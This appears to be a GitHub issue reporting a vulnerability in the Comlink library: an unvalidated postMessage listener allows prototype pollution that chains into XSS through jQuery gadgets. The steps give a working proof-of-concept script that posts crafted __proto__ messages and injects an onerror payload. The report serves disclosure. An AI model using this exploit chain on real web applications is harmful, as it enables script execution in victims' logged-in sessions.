GoogleChromeLabs / GoogleChromeLabs/comlink
postMessage listener set incurs a client-side prototype pollution and subsequently facilitates an XSS
- Dominant language
- TypeScript
- Stars
- 12.8k
- Forks
- 435
- PR merge metrics
- No merged PRs in 30d
Description
Testing confirmed that the postMessage listener set by the Comlink library incurs a client-side prototype pollution and subsequently facilitates an XSS vulnerability. The postMessage listener set by the library does not offer an origin validation, thereby accepting messages from any origin. Furthermore, whilst processing the message, the listener incorrectly makes an assignment that rewrites Object.prototype.*, which causes the prototype pollution.
The root cause of this issue pertains to the fact that the JSON value specified in the message's type attribute constitutes SET. Here, if the crafted path property is passed together, an assignment to Object.prototype.* is performed. For example, if the ["prototype","__proto__","abc"] is passed to the path property, the value specified in the value property will be assigned to Object.prototype.abc, thereby initiating prototype pollution, observing an opportunity for XSS as a result.
This XSS is triggered by known script gadgets in jQuery. Specifically, when the crafted preventDefault, handleObj, and delegateTarget values are set to Object.prototype, arbitrary JavaScript can be executed if certain processing is performed with jQuery.

**Steps:**
1. Log in to the web app that is using the library.
2. Insert the following HTML on an external server.
>``` go
>
> function go(){
> w=window.open('','_blank');
> w.document.write(`<script>si=setInterval(function(){
> if(opener.length!==0){
> clearInterval(si);
> setTimeout(function(){
> opener.postMessage({"type":"SET","value":{"type":"RAW","value":"x"},"path":["prototype","__proto__","preventDefault"]},'*');
> opener.postMessage({"type":"SET","value":{"type":"RAW","value":"x"},"path":["prototype","__proto__","handleObj"]},'*');
> opener.postMessage({"type":"SET","value":{"type":"RAW","value":"<img/src/onerror=alert(document.domain)>"},"path":["prototype","__proto__","delegateTarget"]},'*');
> document.write('Please check another tab and click on "Apps" menu on the left');
> },3000);
> }
> },3000);
> <\/script>Please wait...`);
> w.document.close();
> location="https://URL to web app using the component";
> }
> ```
3. Open the HTML and click go. A new window will be opened and the opener page will be navigated to the web application page.
4. Wait until the Please check another tab ... message is displayed.
5. Check another tab when the message is displayed.
6. Click on an active web component and observe the JavaScript execution.
Contributor guide
Assessment
This issue has not been assessed yet.